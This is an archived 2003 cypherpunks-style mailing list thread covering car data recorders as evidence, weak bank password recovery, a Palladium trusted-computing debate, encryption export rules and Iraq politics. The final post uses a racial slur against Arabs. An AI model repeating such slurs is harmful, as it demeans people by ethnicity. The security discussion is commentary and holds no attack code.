>> (ok, from slashdot..)
>> http://www.newhouse.com/archive/jensen061203.html
>
>I personally find the privacy implications of EDRs rather unsettling.
>This story doesn't change that one bit. However, in this particular
>case, I don't think what the EDR said really matters.

Not only the privacy implications, but also the legal evidence
validity.  When you get radared, or ethanol-tested, the measurements
are calibrated.  When your house or computer gets searched, there
is a concept of a chain of control over the evidence, to
assure that no one slips something incriminating into
an evidence bag or onto your disk.

Now, I don't know how subpeoned phone or other
electronic records are handled ---has anyone ever
questioned Telco's or paging company recordkeeping?
Any readers know more?

Are these records merely put forth for the jury to
consider, on the assumption that they will consider
them 'impartial' and also 'infallible'?  (Note that when
red-light-camera operators (TRW) get a cut of the $ take,
judges/juries will sometimes throw out those tickets, on
the basis of calibration & motivation.  San Diego did this.)

The different-diameter tire, and hacked control system
*are* relevent, as well as the EDR system not being designed
for legal-forensic reliability.

Albeit in this particular case, the driver needs to be hung merely on
what's been admitted and what happened.  But in cases
where the EDR is critical to an argument, I wonder.
The PR aspect for the car companies is also very interesting.
Of course, when an EDR *absolves* someone, they will
surely play it up.




From skquinn at speakeasy.net  Mon Jun 16 09:16:06 2003
From: skquinn at speakeasy.net (Shawn K. Quinn)
Date: Mon, 16 Jun 2003 11:16:06 -0500
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <3EEDDB59.941E6BE3@cdc.gov>
References: <3EEDDB59.941E6BE3@cdc.gov>
Message-ID: <200306161116.06973.skquinn@speakeasy.net>

On Monday June 16 2003 09:59, Major Variola (ret.) wrote:
> (ok, from slashdot..)
> http://www.newhouse.com/archive/jensen061203.html

I personally find the privacy implications of EDRs rather unsettling. 
This story doesn't change that one bit. However, in this particular 
case, I don't think what the EDR said really matters. The three 
paragraphs from the story say a lot about what happened here:

| Matos was driving the 2002 Pontiac Trans Am in a 30 mph zone of a 
| suburb near Fort Lauderdale, Fla., when the car driven by a teenage 
| girl pulled out of a driveway into his path.
|
| The driver and her friend died instantly.
|
| Defense lawyer Robert Stanziale said Matos was going about 60 mph. 
| Assistant State Prosecutor Michael Horowitz said that his accident 
| investigator calculated Matos was traveling about 98 mph. The
| electronic data recorder in Matos' car showed his peak speed was 114
| mph in the seconds before the crash.

The *defense* attorney said his client was going 30 mph over the limit 
(60 mph in a 30 mph zone)! That is a grossly inappropriate speed in a 
residential area. Here in Texas, a ticket for 55 mph in a 30 mph zone 
cannot be dismissed with DSC. Not sure how the law works in Florida but 
I would be surprised if it was that dissimilar.

Let's assume for the moment the prosecution's accident invesitigator is 
totally full of bovine excrement, and that all manner of gremlins snuck 
into the EDR thus causing it to record a grossly inaccurate peak speed, 
and thus, the only version of the story we can give full credibility to 
is the defense's version. If I were on that jury, I'd still vote for a 
conviction. Matos is a scofflaw and deserves exactly what he is 
getting.

-- 
Shawn K. Quinn




From juicy at melontraffickers.com  Mon Jun 16 11:36:50 2003
From: juicy at melontraffickers.com (A.Melon)
Date: Mon, 16 Jun 2003 11:36:50 -0700 (PDT)
Subject: [Brinworld] Car's data recorder convicts driver
Message-ID: <90d37a5a1e0542272e2c391bdafc7bd1@melontraffickers.com>

> Now, I don't know how subpeoned phone or other
> electronic records are handled ---has anyone ever
> questioned Telco's or paging company recordkeeping?
> Any readers know more?

I work as a programmer at a company that writes software to handle 
switch functions and bill cellular and gsm customers.  (I work in the
billing part) It is a simple matter to get access to the files that 
store these records.  To my knowledge there is no direct audit trail, 
though I don't know what records the switch itself keeps, if any.

The security is rather silly.  It is a simple matter to write a few 
lines of code to dump the name, address, phone number, social security 
number, mother's maiden name and credit card number of millions of cell
phone users.  I imagine adding or removing a call record would be 
simple, as well.




From adam at homeport.org  Mon Jun 16 08:50:30 2003
From: adam at homeport.org (Adam Shostack)
Date: Mon, 16 Jun 2003 11:50:30 -0400
Subject: Diners club switches to passwords
Message-ID: <20030616155030.GA15190@lightship.internal.homeport.org>

I just called Diner's Club, and was suprised to be asked for a
password to (replace? supplement?) my mother's maiden name.

Is this something that Citibank in general is doing?  How long before
this becomes a standard of due care?  Also, I'm curious what the
forgot-my-password recovery mechanisms will be...

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume




From bob.cat at snet.net  Mon Jun 16 09:06:30 2003
From: bob.cat at snet.net (BobCat)
Date: Mon, 16 Jun 2003 12:06:30 -0400
Subject: Fw: Online Registration and Voting Experiment to Be Launched
Message-ID: <042701c33421$86784560$c8eafc40@Leopard>

Milspec elections.

----- Original Message ----- 
From: "Press Service" <afisnews_sender at DTIC.MIL>
To: <DEFENSE-PRESS-SERVICE-L at DTIC.MIL>
Sent: Monday, June 16, 2003 11:43 AM
Subject: Online Registration and Voting Experiment to Be Launched


> By Sgt. 1st Class Doug Sample
> American Forces Press Service
>
> WASHINGTON, June 16, 2003  A DoD voting experiment in the 2000
presidential
> elections that allowed military and overseas voters to cast their ballots
> through the Internet will be expanded in 2004.
>
> Beginning this fall, the Federal Voting Assistance Program hopes to get as
many
> as 100,000 military personnel  stateside and overseas  their eligible
> dependents and U.S. citizens living outside the United States to take part
in
> the Secure Electronic Registration and Voting Experiment, said Polli
Brunelli,
> the program director. SERVE covers only those U.S. citizens who fall under
the
> Uniformed and Overseas Citizens Absentee Voting Act.
>
> Mandated by Congress, the project eligible voters from participating
project
> states will be able to register and vote electronically via any
Windows-based
> personal computer with Internet access from anywhere in world, Brunelli
said.
>
> In the 2000 experiment, 84 citizens located in 21 states and 11 countries
voted
> in jurisdictions in South Carolina, Texas, Florida, and Utah, proving the
> theory that online voting could work for voters wherever they lived,
Brunelli
> said.
>
> "We conducted a small 'proof of concept' experiment for the 2000
presidential
> election, and it was very successful. Now we are conducting another
electronic
> voting project. Congress wants it to be large enough to be statistically
> relevant. This will allow us to make supportable recommendations to the
> Congress on the future of Internet voting for UOCAVA citizens," she said.
>
> Brunelli noted that 10 states are interested in participating in the 2004
SERVE
> project: Arkansas, Florida, Hawaii, Minnesota, North Carolina, South
Carolina,
> Utah, Ohio, Pennsylvania and Washington.
>
> "We're looking for volunteer voters to participate in the project," she
> explained, "and we have a Web site where interested voters can see if
their
> voting jurisdiction is participating in the project. Beginning later this
year,
> the voter can sign up, then register and be able to vote in the 2004
> elections."
>
> According to Brunelli, local and state election officials will use the
SERVE
> system to receive voter registration applications, provide ballots to
voters
> and accept voted ballots.
>
> Brunelli said security during the registration and ballot process is a
primary
> concern. SERVE will utilize digital signatures for registration and ballot
> encryption as part of the security features.
>
> "People are concerned about Internet security. We've looked at the threats
that
> could happen to this type of system, and we've developed mitigating
measures to
> guard against those threats," she said.
>
> Brunelli said that not every county in states participating in the
experiment
> will be part of SERVE. She said voters can find a list of participating
> jurisdictions at the SERVE Web site. However, she added that those
counties
> that do participate will include the "full ballot" for that election -- 
local,
> state and federal.
>
> The experiment's official Web site can be found at www.serveusa.gov
[http://www.serveusa.gov]. For more information on
> SERVE or the Federal Voting Assistance Program, go to www.fvap.gov
[http://www.fvap.gov].
>
> _______________________________________________________
> NOTE:  This is a plain text version of a web page.  If your e-mail program
> did not properly format this information, you may view the story at
> http://www.defenselink.mil/news/Jun2003/n06162003_200306162.html
> Any photos, graphics or other imagery included in the article may also
> be viewed at this web page.
>
>
>
> ====================================================
>
> Visit the Defense Department's Web site for the latest news
> and information about America's response to the Sept. 11, 2001,
> terrorist attacks and the war against terrorism: "Defend America"
> at http://www.DefendAmerica.mil.
>
> ====================================================
> Visit the "Department of Defense Homeland Security" Web site
> at http://www.defenselink.mil/specials/homeland/ to learn more
> about the Department of Defense role in homeland security.
>
> ====================================================
>
> Unsubscribe from or Subscribe to this mailing list:
> http://www.defenselink.mil/news/subscribe.html
> ====================================================




From ashwood at msn.com  Mon Jun 16 13:00:19 2003
From: ashwood at msn.com (Joseph Ashwood)
Date: Mon, 16 Jun 2003 13:00:19 -0700
Subject: An attack on paypal --> secure UI for browsers
References: <06f23f75a0aaa6f5f3a09c2c6917e3c8@dizum.com>
Message-ID: <00fb01c33442$736c2920$6601a8c0@JOSEPHAS>

----- Original Message ----- 
From: "Nomen Nescio" <nobody at dizum.com>
Subject:  Re: An attack on paypal --> secure UI for browsers


> Joe Ashwood writes:
> > From: "Anonymous" <nobody_at_cryptofortress.com>
> > > You clearly know virtually nothing about Palladium.
>
> > I still stand by, "Arbitrarily trusting anyone to write a secure program
> > simply doesn't work" regardless of how many times MS says "trust us" any
> > substantially educated person should as well be prepared to either trust
a
> > preponderance of evidence, or perform their own examination, neither of
> > these options is available.
>
> Apparently you neglected to read
> http://www.microsoft.com/resources/ngscb/NGSCB_Overview.mspx, where
> Microsoft says (as they have repeated many times) "Customers and partners
> need reliable ways to ensure the quality of technology that addresses
> the critical needs met by NGSCB. That's why Microsoft will make available
> for public review the source code of the core piece of enabling software
> in NGSCB, called the 'nexus,' so it can be evaluated and validated by
> third parties for both security and privacy considerations."
>
> Therefore some educated person (obviously not you, at least not yet)
> will in fact be able to perform their own examination of the trusted part
> of the OS, since it will have its source code published for exactly this
> sort of review.

I think there was some substantial miscommunication here (probably my fault
for snipping too much). Even assuming that MS's implementation is perfect,
the NCAs (as suggested by anonymous) would be downloaded from a variety of
sources, assumedly without source code. These are at least as big of a
threat, as the ActiveX saga demonstrates. The problem with ActiveX was never
that the core technology was itself causing problems, the problem was that
the supplemental technologies (the signature verification, the sandboxing
when applicable, etc) were continually being attacked by rogue ActiveX
components (I would consider everything form Gator to be such an attck) that
did undesirable things. Since the can I buy a vowel technology once called
Palladium "protects" these NCAs the result is a new ActiveX-type saga, even
if MS gets everything perfect. Assuming general software rules where bugs
will be present, we're looking at something potentially worse.

> Microsoft's legacy software is all extremely complex.  Palladium is
> taking a different approach, aiming at simplicity and transparency.
> The Nexus, which is the micro-kernel for the trusted components (NCAs),
> will be published for review.

But what about everything outside of the micro-kernel? It's still
untrustable.

> The brilliance of Palladium is that the LHS can't touch the RHS,
> because of hardware protection.

If that were true, the Palladium would be useless. The LHS, MUST be able to
touch the RHS, otherwise the LHS would be a completely seperate system, with
no software to run on it, performing no computation, and simply taking up
board space and processor time. However, there is a connection, and no
person has any control over what is run in the the LHS. That is in itself
problematic, and leads to a perfect avenue for massive abuse of power. And
as we all know the ability to abuse power, quite quickly leads to the abuse
of power.

> At one stroke, the new trusted mode is
> insulated from bugs in the Windows OS, device drivers and applications.

Except for the fact that the buggy everything can contact it, and give it a
new NCA, that NCA can do as it pleases.

> It in effect allows the designers to start with a clean piece of paper
> and produce a simple micro-kernel (the Nexus) whose only job is to
> service the NCAs.  This is a manageable task and, in conjunction with
> public review, there is good reason to hope and expect that the Nexus
> will be secure.

If you look I never suggested that the nexus itself would necessarily be
insecure, I've said that the supporting technology (everything MS has not
agreed to release) is open to massive abuse, and that the likelihood that it
will have numerous insecurities found is very high.

> If so then NCAs will indeed run in a mode where they
> are protected from other software components (including other NCAs).

But what about the rogue NCA? the one that decides to consume all the
processor, store inordinate amounts of information, spy on the user,
provided of course by the "buggy" software that put it there.

> As far as the NCAs being "foolishly trusted", all they are trusted to
> do is to run without being molested.  That's not exactly giving them the
> keys to the kingdom.  And see above for the reasons why it is reasonable
> to believe that they can in fact be trusted to run with this degree
> of security.

I guess I missed where you mentioned NCA at all before this, in fact I went
back and did a text search, the only ways that you mentioned NCAs so far
were "The Nexus, which is the micro-kernel for the trusted components
(NCAs), will be published for review," "and the NCAs acting as the
applications" "whose only job is to service the NCAs, " some rant about
manifest (which is another avenue for attack, but does not present what you
believe, and this one I'm responding to.. All you've done is rant on about
how the nexus this and the nexus that, completely ignoring the fact that
most of the problems with any operating system are not in the kernel
(micro-kernels are relatively easy), the problems continue to stem from the
same source they had in ActiveX, everything around the core component, the
loading, the verification, the scheduling, the stopping them from doing as
they please. These you have not even made an effort to address. You have
ranted around and around, pretending that spouting all these worthless words
actually justify claiming that can I buy a vowel, and all the NCAs that will
be produced by every company, all the hackers, various individuals, etc can
all be trusted. To quote myself yet again "Arbitrarily trusting anyone to
write a secure program simply doesn't work" and that is exactly what is
being claimed about can I buy a vowel.

> In my proposal, each ecommerce site would have its own unique NCA with
> its own unique identity.  As anyone who has studied NGSCB (except you)
> knows, NCAs are protected from each other as well as from the rest of
> the system.  Therefore rogue or compromised sites would not be able to
> touch the information that was being held for other sites.  e-go1d.com
> would not be able to get at the information associated with e-gold.com.
> Your proposed attack does not work.

What proposed attack? I never stated that the information protected by can I
buy a vowel would be compromised, I claimed that it will almost certainly
have gaping security holes, and that it's design makes some very bad
decisions. If each website has it's own NCA, then each website is free to do
as they please on your computer (including read the still encrypted
information form others), "Arbitrarily trusting anyone to write a secure
program" is a bad idea.

> Your comments above make it clear that you are not at all acquainted
> with the material in those documents.  If you're going to pretend to
> be a security expert

(remember when you advocated ECB mode for the XML
> encryption effort?!!),

Actually yes I do, and I still believe that ECB mode has its advantages in
very specific targets, if you had bothered to actually read the statements I
have made you would understand that. The goal I had for the possibility of
adding ECB was not to provide a common resource, but to push the issue of
clarity, by pushing the issue of ECB even slightly, I succeeded in having
clarity added to the document, both the spec and the XML. If you would
actually care to debate whether or not ECB is a valid mode for inclusion in
a wide usage standard, I suggest first you take it up with NIST, they have
perhaps the oldest standard for it, once you succeed in that, I suggest that
you consider all the border cases, especially the ones where a single block
is encrypted (other modes double the size), random data being encrypted
(which is equivalent security to all other modes), and where a limited
subset of the possible block space is being used (especially useful when
there is an attack that requires a large volume of text pairs). In each of
these cases ECB is at least as secure as any other mode, and in the last it
can be argued that under some circumstances it may actually be more secure.
I remember very well my advocation of ECB for XML Enc, it appears once again
to be you that has faield to grasp realities of the situation.

you could do worse than spending a few hours
> studying these documents closely.  It's very likely that NGSCB will
> be a central technology for security in the next two to ten years or
> even longer.  This is undoubtedly an area where security consulting
> could be lucrative.  Sadly, even "experts" of your caliber can probably
> be very successful in this area.  But you'll have to do your homework.

Here you go assuming things that simply aren't true. I don't see can I buy a
vowel becoming the "central techonology" for anything for very long. We're
already seeing the X86 processor being replaced at the high end, and slowly
being displaced at the mid-range, can I buy a vowel only has a few years
before it will need to be completely replaced, and since it will take a few
years for it to be adopted it's almost certainly a dead-end technology.

Now the other assumption, you assume that I intend to do security
consulting, how mistaken you are. I am actually the CEO of Trust
Laboratories, and security consulting would almost certainly be a pay cut.
There is a chance that eventually you can make something of yourself "But
you'll have to do your homework"
                    Joe


Trust Laboratories
Changing Software Development
http://www.trustlaboratories.com




From ericm at lne.com  Mon Jun 16 13:12:16 2003
From: ericm at lne.com (Eric Murray)
Date: Mon, 16 Jun 2003 13:12:16 -0700
Subject: Diners club switches to passwords
In-Reply-To: <20030616155030.GA15190@lightship.internal.homeport.org>;
  from adam@homeport.org on Mon, Jun 16, 2003 at 11:50:30AM -0400
References: <20030616155030.GA15190@lightship.internal.homeport.org>
Message-ID: <20030616131216.A7061@slack.lne.com>

On Mon, Jun 16, 2003 at 11:50:30AM -0400, Adam Shostack wrote:
> I just called Diner's Club, and was suprised to be asked for a
> password to (replace? supplement?) my mother's maiden name.
> 
> Is this something that Citibank in general is doing?  How long before
> this becomes a standard of due care?  Also, I'm curious what the
> forgot-my-password recovery mechanisms will be...


Mother's maiden name. 


Eric




From schear at attbi.com  Mon Jun 16 14:25:26 2003
From: schear at attbi.com (Steve Schear)
Date: Mon, 16 Jun 2003 14:25:26 -0700
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <5.2.0.9.0.20030616170631.044ddc00@pop.ix.netcom.com>
References: <200306161116.06973.skquinn@speakeasy.net>
  <3EEDDB59.941E6BE3@cdc.gov> <3EEDDB59.941E6BE3@cdc.gov>
Message-ID: <5.2.1.1.0.20030616142314.043348d8@mail.attbi.com>

Seems like a market for "open source" EDRs could be a good one.  A user 
accessible reset button could come in handy.

steve 




From ericm at lne.com  Mon Jun 16 14:29:37 2003
From: ericm at lne.com (Eric Murray)
Date: Mon, 16 Jun 2003 14:29:37 -0700
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <5.2.0.9.0.20030616170631.044ddc00@pop.ix.netcom.com>; from
  kelsey.j@ix.netcom.com on Mon, Jun 16, 2003 at 05:11:57PM -0400
References: <3EEDDB59.941E6BE3@cdc.gov> <3EEDDB59.941E6BE3@cdc.gov>
  <200306161116.06973.skquinn@speakeasy.net>
  <5.2.0.9.0.20030616170631.044ddc00@pop.ix.netcom.com>
Message-ID: <20030616142937.A7619@slack.lne.com>

On Mon, Jun 16, 2003 at 05:11:57PM -0400, John Kelsey wrote:
 ...
> It seems intuitively like the EDR ought to be about as valuable to the 
> defense as the prosecution, right?  E.g., the prosecutor says "this guy was 
> driving 120 miles an hour down the road while being pursued by the police," 
> but the EDR says he'd never topped 70.  There are creepy privacy 
> implications in there somewhere, but the basic technology seems no more 
> inherently Orwellian than, say, DNA testing--which seems to be a pretty 
> good way of actually locking up the right guy now and then, rather than 
> someone who looks kind-of like the guy who did it, and was seen in the area 
> by an eyewitness and picked out of a police lineup.

The types of problems with DNA testing such as state's refusal to allow
testing of convicts when it might prove their innocence, and
testing lab "errors", would also apply to EDR boxes.
I.e. states will contrive to use EDR records only when it proves
their case, and data recovered will be subject to "interpretation".

You can bet that when EDRs become important as evidence, citizens won't
be allowed to posess the means to read their own EDRs let alone
write to them.

Eric




From adam at homeport.org  Mon Jun 16 13:17:40 2003
From: adam at homeport.org (Adam Shostack)
Date: Mon, 16 Jun 2003 16:17:40 -0400
Subject: Diners club switches to passwords
In-Reply-To: <20030616131216.A7061@slack.lne.com>
References: <20030616155030.GA15190@lightship.internal.homeport.org>
  <20030616131216.A7061@slack.lne.com>
Message-ID: <20030616201740.GA19082@lightship.internal.homeport.org>

On Mon, Jun 16, 2003 at 01:12:16PM -0700, Eric Murray wrote:
| On Mon, Jun 16, 2003 at 11:50:30AM -0400, Adam Shostack wrote:
| > I just called Diner's Club, and was suprised to be asked for a
| > password to (replace? supplement?) my mother's maiden name.
| > 
| > Is this something that Citibank in general is doing?  How long before
| > this becomes a standard of due care?  Also, I'm curious what the
| > forgot-my-password recovery mechanisms will be...
| 
| 
| Mother's maiden name. 

Heh!  Seriously?



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume




From kelsey.j at ix.netcom.com  Mon Jun 16 14:11:57 2003
From: kelsey.j at ix.netcom.com (John Kelsey)
Date: Mon, 16 Jun 2003 17:11:57 -0400
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <200306161116.06973.skquinn@speakeasy.net>
References: <3EEDDB59.941E6BE3@cdc.gov> <3EEDDB59.941E6BE3@cdc.gov>
Message-ID: <5.2.0.9.0.20030616170631.044ddc00@pop.ix.netcom.com>

At 11:16 AM 6/16/03 -0500, Shawn K. Quinn wrote:
...
>I personally find the privacy implications of EDRs rather unsettling.
>This story doesn't change that one bit. However, in this particular
>case, I don't think what the EDR said really matters. The three
>paragraphs from the story say a lot about what happened here:

...
It seems intuitively like the EDR ought to be about as valuable to the 
defense as the prosecution, right?  E.g., the prosecutor says "this guy was 
driving 120 miles an hour down the road while being pursued by the police," 
but the EDR says he'd never topped 70.  There are creepy privacy 
implications in there somewhere, but the basic technology seems no more 
inherently Orwellian than, say, DNA testing--which seems to be a pretty 
good way of actually locking up the right guy now and then, rather than 
someone who looks kind-of like the guy who did it, and was seen in the area 
by an eyewitness and picked out of a police lineup.

...
>Shawn K. Quinn

--John Kelsey, kelsey.j at ix.netcom.com
PGP: FA48 3237 9AD5 30AC EEDD  BBC8 2A80 6948 4CAA F259




From hseaver at cybershamanix.com  Mon Jun 16 15:55:53 2003
From: hseaver at cybershamanix.com (Harmon Seaver)
Date: Mon, 16 Jun 2003 17:55:53 -0500
Subject: bbc
Message-ID: <20030616225553.GA13134@cybershamanix.com>

   Did the IRA bomb the BBC newserver or something? They've been down for two
days now.

-- 
Harmon Seaver	
CyberShamanix
http://www.cybershamanix.com




From adam at homeport.org  Mon Jun 16 15:19:07 2003
From: adam at homeport.org (Adam Shostack)
Date: Mon, 16 Jun 2003 18:19:07 -0400
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <5.2.0.9.0.20030616170631.044ddc00@pop.ix.netcom.com>
References: <3EEDDB59.941E6BE3@cdc.gov> <3EEDDB59.941E6BE3@cdc.gov>
  <5.2.0.9.0.20030616170631.044ddc00@pop.ix.netcom.com>
Message-ID: <20030616221907.GA20708@lightship.internal.homeport.org>

On Mon, Jun 16, 2003 at 05:11:57PM -0400, John Kelsey wrote:
| At 11:16 AM 6/16/03 -0500, Shawn K. Quinn wrote:
| ...
| >I personally find the privacy implications of EDRs rather unsettling.
| >This story doesn't change that one bit. However, in this particular
| >case, I don't think what the EDR said really matters. The three
| >paragraphs from the story say a lot about what happened here:
| 
| ...
| It seems intuitively like the EDR ought to be about as valuable to the 
| defense as the prosecution, right?  E.g., the prosecutor says "this guy was 
| driving 120 miles an hour down the road while being pursued by the police," 
| but the EDR says he'd never topped 70.  There are creepy privacy 
| implications in there somewhere, but the basic technology seems no more 
| inherently Orwellian than, say, DNA testing--which seems to be a pretty 
| good way of actually locking up the right guy now and then, rather than 
| someone who looks kind-of like the guy who did it, and was seen in the area 
| by an eyewitness and picked out of a police lineup.

Just wait 'till they integrate GPS, and GPRS or 802.11.  Much of this
can be seem in the OnStar systems, which haven't yet featured in
divorce proceedings, afaik.

You can call up and find out where your car is. 

Adam

PS: Bob Blakely once defined privacy as the right to lie and get away
with it, which fits into some of what many people mean by privacy.

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume




From mv at cdc.gov  Mon Jun 16 18:30:36 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Mon, 16 Jun 2003 18:30:36 -0700
Subject: PGP 8 flaw work-around
Message-ID: <3EEE6F3B.8E39DCB4@cdc.gov>

Someone posted a bug wherein PGP 8 (XP version) saw keys >4 years
as expired.  There is a workaround, merely change your passphrase
and resend the key.  (You may change the passphrase to the same
passphrase.)




From justin-cypherpunks at soze.net  Mon Jun 16 15:20:27 2003
From: justin-cypherpunks at soze.net (Justin)
Date: Mon, 16 Jun 2003 22:20:27 +0000
Subject: Diners club switches to passwords
In-Reply-To: <20030616155030.GA15190@lightship.internal.homeport.org>
References: <20030616155030.GA15190@lightship.internal.homeport.org>
Message-ID: <20030616222027.GH11753@dreams.soze.net>

Adam Shostack (2003-06-16 15:50Z) wrote:

> I just called Diner's Club, and was suprised to be asked for a
> password to (replace? supplement?) my mother's maiden name.
> 
> Is this something that Citibank in general is doing?  How long before
> this becomes a standard of due care?  Also, I'm curious what the
> forgot-my-password recovery mechanisms will be...

Never fear; if you forget your password and the secret token used for
authentication if you forget your password, they will still auth you.
All they need is your account info, birthdate, and the last 4 digits of
your SSN.

Secure, indeed.  Even after most people realize the utility of
relatively strong _required_ passwords being used, as they often are in
movies, to deal with banks, they are satisfied when real banks use two
publicly available pieces of information and 13 bits of your
maybe-or-maybe-not-so-secure SSN is good enough.

Imagine the panic if Americans were required to use passwords like
"b2\9690d" to access their bank accounts.  I suppose the objection would
be that we're not all as smart as Michael Douglas.  (That's the password
for one of his accounts in "The Game.")

-- 
Freedom's untidy, and free people are free to make mistakes and commit
crimes and do bad things.  They're also free to live their lives and do
wonderful things.   --Rumsfeld, 2003-04-11




From nobody at cypherpunks.to  Mon Jun 16 13:30:55 2003
From: nobody at cypherpunks.to (Anonymous via the Cypherpunks Tonga Remailer)
Date: Mon, 16 Jun 2003 22:30:55 +0200 (CEST)
Subject: An attack on paypal --> secure UI for browsers
Message-ID: <1a1afd9d8b4d540b2edf102cb2cab48d@cypherpunks.to>

David Wagner wrote:
> But take a look at one line you quoted from the FAQ:
> 
>     "Only one nexus at a time will be able to run on a machine."
> 
> That looks to me like an important sentence.

The Nexus is like a mini-OS for the trusted side of the machine.  It acts
as a kernel to manage the "trusted applications", the Nexus Computing
Agents or NCAs.

So what this sentence is really saying is that only one (trusted) OS
will be able to run at a time on a machine.  That's not that surprising
or significant.  Most machines only run one OS at a time.  Sure, with
virtualization and similar techniques you can manage to run more than
one OS at once, but that's unusual.  Probably 99.9% of machines are only
running one OS at a time.

Virtualization is not an option with trusted computing because part of
the point is to be able to offer assurance to remote users about what
the machine will do (i.e. its behavior is predictable, hence trusted).
This implies that it only makes sense to run one trusted OS at a time.
That's probably all the "important" sentence above means.


Adam Lydick wrote:

> That is certainly a good point but don't confuse the "nexus" with NCAs
> (agents). I think the nexus just provides services to the NCAs which
> actually do the work. Think of it as a core library that services can
> draw on.

Right, plus it schedules, loads them, etc, like an OS kernel.  Here is
a simplified form of a diagram they use.  The left hand side is the
legacy mode, with normal Windows applications and OS.  The right hand
side is the new trusted mode, with NCAs as the applications and Nexus
as the OS.

       Normal Mode                  Trusted Mode
+---------------------------++------------------------+
|                           ||                        |
|       Applications        ||        NCAs            |  USER
|                           ||                        |
|---------------------------++------------------------|
|                           ||                        |
|     Main Windows OS       ||       Nexus            |  KERNEL
|                           ||                        |
+---------------------------++------------------------+


> So having to trust the nexus, is rather like trusting kernel32.dll or
> some other core components. Choosing to trust/run NCA sounds pretty
> grainular, so you can trust your validated P2P stack from your favorite
> independent developer and ignore (if you can) the restrictive DRM
> solutions that are offered.

Yes, it sounds like it will work exactly like that.  Plus, hopefully
it will be possible for Linux to create its own Nexus ("Linexus"?) that
uses the same hardware features to provide TC capabilities for that OS.
Recall that Linus Torvalds recently adopted the position that DRM was
an acceptable technology for Linux, even when it involved being built
into the kernel.  Since DRM is the main downside to TC for many people,
and TC has many more good aspects beyond DRM, it is a near certainty
that Linux will add support for Trusted Computing.

> Problems certainly remain though:
>
> In the validated P2P scenario, an Adversary with enough influence to
> have Intel/AMD/... hand out a signed internal key can circumvent any
> such "protections".

Right, he could watch all the Disney movies he wanted, without paying
for them!  Mwaa haa haa!  Foolish humans!

But seriously, these systems can only raise the cost of security.
Neither cypherpunks nor Sony should risk their collective lives that no
one will break Palladium, by hook or by crook.




From discord-nobody at erisiandiscord.de  Mon Jun 16 21:30:41 2003
From: discord-nobody at erisiandiscord.de (Anonymous)
Date: Tue, 17 Jun 2003 06:29:41 +0159 (CEST)
Subject: [Brinworld] Car's data recorder convicts driver
Message-ID: <a75d95af9b278e4fe467e5e99c741e9f@erisiandiscord.de>

Adam Shostack wrote:

> PS: Bob Blakely once defined privacy as the right to lie and get away
> with it, which fits into some of what many people mean by privacy.

So privacy is only of value to the dishonest?  I don't think so!
I post anonymously, but not to lie.




From jya at pipeline.com  Tue Jun 17 08:32:56 2003
From: jya at pipeline.com (John Young)
Date: Tue, 17 Jun 2003 08:32:56 -0700
Subject: US Encryption Export Clarified
Message-ID: <E19SFeG-0001Nz-00@blount.mail.mindspring.net>

The Bureau of Industry and Security today issued:

Export Administration Regulations: Encryption Clarifications and 
Revisions

SUMMARY: This rule amends the Export Administration Regulations 
(EAR) to clarify when encryption commodities and software may be 
given de minimis treatment, when short-range wireless devices 
incorporating encryption may be given mass market or retail treatment, 
and to provide guidance on when exporters are required to submit 
encryption review requests. It also expands the authorizations 
according to which travelers departing the United States may take 
encryption for their personal use, and clarifies that specially 
designed medical equipment and software are not controlled as 
encryption or ``information security'' items under the EAR. Finally 
this rule implements changes to the Wassenaar Arrangement List 
of dual-use items (agreed upon in the September 2002 meeting and 
finalized in December 2002) that eliminate from Export Control 
Classification Number (ECCN) 5A002 certain types of ``Personalized 
smart cards'' and equipment specially designed and limited to 
controlling access to copyright protected data.

-----

http://cryptome.org/bis061703.txt




From mv at cdc.gov  Tue Jun 17 14:05:58 2003
From: mv at cdc.gov (Major Variola (ret.))
Date: Tue, 17 Jun 2003 14:05:58 -0700
Subject: Encrypted SMS (alas, closed source)
Message-ID: <3EEF82B6.FBF37A1E@cdc.gov>

http://www.fortressmail.net/fortress_sms.htm

also limited-platform (Platform:  Series 60  (Symbian v6) -  for example
the Nokia 7650)

If well implemented looks good.




From hseaver at cybershamanix.com  Tue Jun 17 16:15:11 2003
From: hseaver at cybershamanix.com (Harmon Seaver)
Date: Tue, 17 Jun 2003 18:15:11 -0500
Subject: weird logic
Message-ID: <20030617231511.GA13887@cybershamanix.com>

http://news.bbc.co.uk/2/hi/middle_east/2998870.stm

"With Iraq's judicial system in disarray after the end of the war, Paul Bremer
said a special criminal court would be set up.

He said the court would try people, "in particular senior Baathists... may have
committed crimes against the coalition, who are trying to destabilise the
situation"."

   So you invade a country, and the patriots who resist you are no longer
soldiers, even guerillas, but "criminals" to be tried in the US's weird new
courts, probably secretly with no representation. 

   Velkomen, to ze New Verld Order. Sieg Heil! And may Jesus bless you. 


 -- 
Harmon Seaver	
CyberShamanix
http://www.cybershamanix.com




From timcmay at got.net  Tue Jun 17 21:23:25 2003
From: timcmay at got.net (Tim May)
Date: Tue, 17 Jun 2003 21:23:25 -0700
Subject: weird logic
In-Reply-To: <20030617231511.GA13887@cybershamanix.com>
Message-ID: <9AB20FF8-A144-11D7-9C17-000A956B4C74@got.net>

On Tuesday, June 17, 2003, at 04:15  PM, Harmon Seaver wrote:

> http://news.bbc.co.uk/2/hi/middle_east/2998870.stm
>
> "With Iraq's judicial system in disarray after the end of the war, 
> Paul Bremer
> said a special criminal court would be set up.
>
> He said the court would try people, "in particular senior Baathists... 
> may have
> committed crimes against the coalition, who are trying to destabilise 
> the
> situation"."
>
>    So you invade a country, and the patriots who resist you are no 
> longer
> soldiers, even guerillas, but "criminals" to be tried in the US's 
> weird new
> courts, probably secretly with no representation.
>
>    Velkomen, to ze New Verld Order. Sieg Heil! And may Jesus bless you.
>

Yes, this is the logic. Discussed in many other fora.

And not new. When the U.S. "liberated" Somalia the first thing they did 
was to seize control of the press and begin to collect the guns...then 
the "warlords" were able to operate freely amongst the disarmed 
peasants, and ultimately the U.S. got its ass kicked and left in shame.

The U.S. believes in basic rights for _some_ Americans, but certainly 
for none of the sand niggers it conquers.

It declares the soldiers it fights to be "illegal combatants" and 
